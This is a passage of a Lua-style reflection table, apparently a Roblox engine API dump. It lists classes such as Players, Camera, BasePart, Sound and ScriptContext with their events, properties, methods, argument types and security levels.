 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;targetPlayer&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;PlayerChatted&quot;,
 LocalUserSecurity = true
 },
 {
 Name = &quot;PlayerRemoving&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;PlayerRemovingLate&quot;,
 LocalUserSecurity = true
 }
 },
 ClassName = &quot;Players&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;BubbleChat&quot;,
 readonly = true
 },
 {
 Name = &quot;CharacterAutoLoads&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;ClassicChat&quot;,
 readonly = true
 },
 {
 readonly = true,
 Type = &quot;Object&quot;,
 Name = &quot;LocalPlayer&quot;,
 hidden = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;MaxPlayers&quot;,
 RobloxSecurity = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;NumPlayers&quot;,
 readonly = true
 },
 {
 Type = &quot;Object&quot;,
 Name = &quot;localPlayer&quot;,
 deprecated = true,
 hidden = true,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;numPlayers&quot;,
 deprecated = true,
 hidden = true,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;AddLeaderboardKey&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;Chat&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;CreateLocalPlayer&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;userID&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetPlayerByID&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;character&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;GetPlayerFromCharacter&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetPlayers&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;reason&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;optionalMessage&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;ReportAbuse&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetAbuseReportUrl&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetBuildUserPermissionsUrl&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetChatFilterUrl&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;ChatStyle&quot;,
 Name = &quot;style&quot;,
 DefaultValue = &quot;Classic&quot;
 }
 },
 Name = &quot;SetChatStyle&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetLoadDataUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetSaveDataUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetSaveLeaderboardDataUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetSysStatsUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;urlId&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetSysStatsUrlId&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;TeamChat&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;WhisperChat&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;character&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;getPlayerFromCharacter&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;getPlayers&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;character&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;playerFromCharacter&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;players&quot;,
 deprecated = true
 }
 }
 },
 BaseScript = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;BaseScript&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Disabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;LinkedSource&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 ParallelRampPart = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;ParallelRampPart&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 ClusterPacketCache = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ClusterPacketCache&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 VehicleController = {
 Inherits = &quot;Controller&quot;,
 Events = {
 },
 ClassName = &quot;VehicleController&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 RayValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;Ray&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;Ray&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;RayValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;Ray&quot;
 }
 },
 Methods = {
 }
 },
 RotateP = {
 Inherits = &quot;DynamicRotate&quot;,
 Events = {
 },
 ClassName = &quot;RotateP&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Camera = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 {
 Name = &quot;entering&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;FirstPersonTransition&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Name = &quot;InterpolationFinished&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;Camera&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CameraSubject&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;CameraType&quot;,
 Type = &quot;CameraType&quot;
 },
 {
 Name = &quot;CoordinateFrame&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;FieldOfView&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Focus&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 deprecated = true,
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;focus&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;float&quot;,
 Arguments = {
 },
 Name = &quot;GetPanSpeed&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;float&quot;,
 Arguments = {
 },
 Name = &quot;GetRoll&quot;
 },
 {
 ReturnType = &quot;float&quot;,
 Arguments = {
 },
 Name = &quot;GetTiltSpeed&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;endPos&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;endFocus&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;duration&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;Interpolate&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;units&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;PanUnits&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;CameraInputMode&quot;,
 Name = &quot;mode&quot;,
 DefaultValue = &quot;Classic&quot;
 }
 },
 Name = &quot;SetCameraInputMode&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;rollAngle&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;SetRoll&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;units&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;TiltUnits&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;distance&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;Zoom&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 BodyForce = {
 Inherits = &quot;BodyMover&quot;,
 Events = {
 },
 ClassName = &quot;BodyForce&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;force&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 Motor6D = {
 Inherits = &quot;Motor&quot;,
 Events = {
 },
 ClassName = &quot;Motor6D&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 BasePart = {
 Inherits = &quot;PVInstance&quot;,
 Events = {
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;part&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;LocalSimulationTouched&quot;
 },
 {
 deprecated = true,
 Arguments = {
 },
 Name = &quot;OutfitChanged&quot;
 },
 {
 Name = &quot;StoppedTouching&quot;,
 Arguments = {
 {
 Name = &quot;otherPart&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;TouchEnded&quot;,
 Arguments = {
 {
 Name = &quot;otherPart&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;Touched&quot;,
 Arguments = {
 {
 Name = &quot;otherPart&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;otherPart&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;touched&quot;
 }
 },
 ClassName = &quot;BasePart&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Anchored&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;BackParamA&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;BackParamB&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;BackSurface&quot;,
 Type = &quot;SurfaceType&quot;
 },
 {
 Name = &quot;BackSurfaceInput&quot;,
 Type = &quot;InputType&quot;
 },
 {
 Name = &quot;BottomParamA&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;BottomParamB&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;BottomSurface&quot;,
 Type = &quot;SurfaceType&quot;
 },
 {
 Name = &quot;BottomSurfaceInput&quot;,
 Type = &quot;InputType&quot;
 },
 {
 Name = &quot;BrickColor&quot;,
 Type = &quot;BrickColor&quot;
 },
 {
 Name = &quot;CFrame&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;CanCollide&quot;,
 Type = &quot;bool&quot;
 },
 {
 deprecated = true,
 Type = &quot;Color3&quot;,
 Name = &quot;Color&quot;
 },
 {
 Name = &quot;Elasticity&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Friction&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;FrontParamA&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;FrontParamB&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;FrontSurface&quot;,
 Type = &quot;SurfaceType&quot;
 },
 {
 Name = &quot;FrontSurfaceInput&quot;,
 Type = &quot;InputType&quot;
 },
 {
 Name = &quot;LeftParamA&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;LeftParamB&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;LeftSurface&quot;,
 Type = &quot;SurfaceType&quot;
 },
 {
 Name = &quot;LeftSurfaceInput&quot;,
 Type = &quot;InputType&quot;
 },
 {
 Name = &quot;Locked&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Material&quot;,
 Type = &quot;Material&quot;
 },
 {
 Name = &quot;Position&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 readonly = true,
 Type = &quot;float&quot;,
 Name = &quot;ReceiveAge&quot;,
 hidden = true
 },
 {
 Name = &quot;Reflectance&quot;,
 Type = &quot;float&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;ResizeIncrement&quot;,
 readonly = true
 },
 {
 Type = &quot;Faces&quot;,
 Name = &quot;ResizeableFaces&quot;,
 readonly = true
 },
 {
 Name = &quot;RightParamA&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;RightParamB&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;RightSurface&quot;,
 Type = &quot;SurfaceType&quot;
 },
 {
 Name = &quot;RightSurfaceInput&quot;,
 Type = &quot;InputType&quot;
 },
 {
 Name = &quot;RotVelocity&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;Rotation&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;Size&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;SpecificGravity&quot;,
 readonly = true
 },
 {
 Name = &quot;TopParamA&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TopParamB&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TopSurface&quot;,
 Type = &quot;SurfaceType&quot;
 },
 {
 Name = &quot;TopSurfaceInput&quot;,
 Type = &quot;InputType&quot;
 },
 {
 Name = &quot;Transparency&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Velocity&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 deprecated = true,
 Type = &quot;BrickColor&quot;,
 Name = &quot;brickColor&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;BreakJoints&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;recursive&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;GetConnectedParts&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;float&quot;,
 Arguments = {
 },
 Name = &quot;GetMass&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;IsGrounded&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;MakeJoints&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;normalId&quot;,
 Type = &quot;NormalId&quot;
 },
 {
 Name = &quot;deltaAmount&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;Resize&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;breakJoints&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;float&quot;,
 Arguments = {
 },
 Name = &quot;getMass&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;makeJoints&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;normalId&quot;,
 Type = &quot;NormalId&quot;
 },
 {
 Name = &quot;deltaAmount&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;resize&quot;,
 deprecated = true
 }
 }
 },
 PartAdornment = {
 Inherits = &quot;GuiBase3d&quot;,
 Events = {
 },
 ClassName = &quot;PartAdornment&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Adornee&quot;,
 Type = &quot;Object&quot;
 }
 },
 Methods = {
 }
 },
 TextButton = {
 Inherits = &quot;GuiButton&quot;,
 Events = {
 },
 ClassName = &quot;TextButton&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Font&quot;,
 Type = &quot;Font&quot;
 },
 {
 Name = &quot;FontSize&quot;,
 Type = &quot;FontSize&quot;
 },
 {
 Name = &quot;Text&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Vector2&quot;,
 Name = &quot;TextBounds&quot;,
 readonly = true
 },
 {
 deprecated = true,
 Type = &quot;BrickColor&quot;,
 Name = &quot;TextColor&quot;,
 hidden = true
 },
 {
 Name = &quot;TextColor3&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;TextFits&quot;,
 readonly = true
 },
 {
 Name = &quot;TextScaled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TextStrokeColor3&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;TextStrokeTransparency&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TextTransparency&quot;,
 Type = &quot;float&quot;
 },
 {
 deprecated = true,
 Type = &quot;bool&quot;,
 Name = &quot;TextWrap&quot;
 },
 {
 Name = &quot;TextWrapped&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TextXAlignment&quot;,
 Type = &quot;TextXAlignment&quot;
 },
 {
 Name = &quot;TextYAlignment&quot;,
 Type = &quot;TextYAlignment&quot;
 }
 },
 Methods = {
 }
 },
 Sound = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Sound&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;IsPaused&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;IsPlaying&quot;,
 readonly = true
 },
 {
 Name = &quot;Looped&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Pitch&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;PlayOnRemove&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;SoundId&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;Volume&quot;,
 Type = &quot;float&quot;
 },
 {
 deprecated = true,
 Type = &quot;bool&quot;,
 Name = &quot;isPlaying&quot;,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Pause&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Play&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Stop&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;pause&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;play&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;stop&quot;,
 deprecated = true
 }
 }
 },
 RootInstance = {
 Inherits = &quot;Model&quot;,
 Events = {
 },
 ClassName = &quot;RootInstance&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 ScriptContext = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 {
 Name = &quot;object&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;member&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;script&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;CamelCaseViolation&quot;,
 RobloxScriptSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;stackTrace&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;script&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;Error&quot;,
 RobloxPlaceSecurity = true
 }
 },
 ClassName = &quot;ScriptContext&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;GarbageCollectionFrequency&quot;,
 RobloxScriptSecurity = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;GarbageCollectionLimit&quot;,
 RobloxScriptSecurity = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;ScriptsDisabled&quot;,
 LocalUserSecurity = true
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;parent&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;AddCoreScript&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;AddStarterScript&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;clearHighwaterMark&quot;,
 DefaultValue = &quot;true&quot;
 }
 },
 Name = &quot;GetHeapStats&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 },
 Name = &quot;GetScriptStats&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;LibraryRegistrationComplete&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;libraryName&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;scriptInstance&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RegisterDevelopmentLibrary&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;libraryName&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;assetId&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;RegisterLibrary&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;libraryName&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;assetId&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;RegisterRobloxLibrary&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;enable&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;SetCollectScriptStats&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;seconds&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;SetTimeout&quot;,
 LocalUserSecurity = true
 }
 }
 },
 SpawnLocation = {
 Inherits = &quot;Part&quot;,
 Events = {
 },
 ClassName = &quot;SpawnLocation&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AllowTeamChangeOnTouch&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Duration&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;Neutral&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TeamColor&quot;,
 Type = &quot;BrickColor&quot;
 }
 },
 Methods = {
 }
 },
 BodyPosition = {
 Inherits = &quot;BodyMover&quot;,
 Events = {
 {
 Name = &quot;ReachedTarget&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;BodyPosition&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;D&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;P&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;maxForce&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 },
 Name = &quot;GetLastForce&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 },
 Name = &quot;lastForce&quot;
 }
 }
 },
 ScreenGui = {
 Inherits = &quot;LayerCollector&quot;,
 Events = {
 },
 ClassName = &quot;ScreenGui&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ReflectionMetadataYieldFunctions = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataYieldFunctions&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 AnimationTrackState = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;AnimationTrackState&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Dialog = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;DialogChoiceSelected&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;dialogChoice&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;Dialog&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;ConversationDistance&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;InUse&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;InitialPrompt&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;Purpose&quot;,
 Type = &quot;DialogPurpose&quot;
 },
 {
 Name = &quot;Tone&quot;,
 Type = &quot;DialogTone&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;dialogChoice&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;SignalDialogChoiceSelected&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 Visit = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Visit&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 },
 Name = &quot;GetUploadUrl&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;pingUrl&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;interval&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetPing&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetUploadUrl&quot;,
 RobloxSecurity = true
 }
 }
 },
 CacheableContentProvider = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;CacheableContentProvider&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ForceField = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ForceField&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ControllerService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ControllerService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 BodyVelocity = {
 Inherits = &quot;BodyMover&quot;,
 Events = {
 },
 ClassName = &quot;BodyVelocity&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;P&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;maxForce&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;velocity&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;Vector3&quot;,
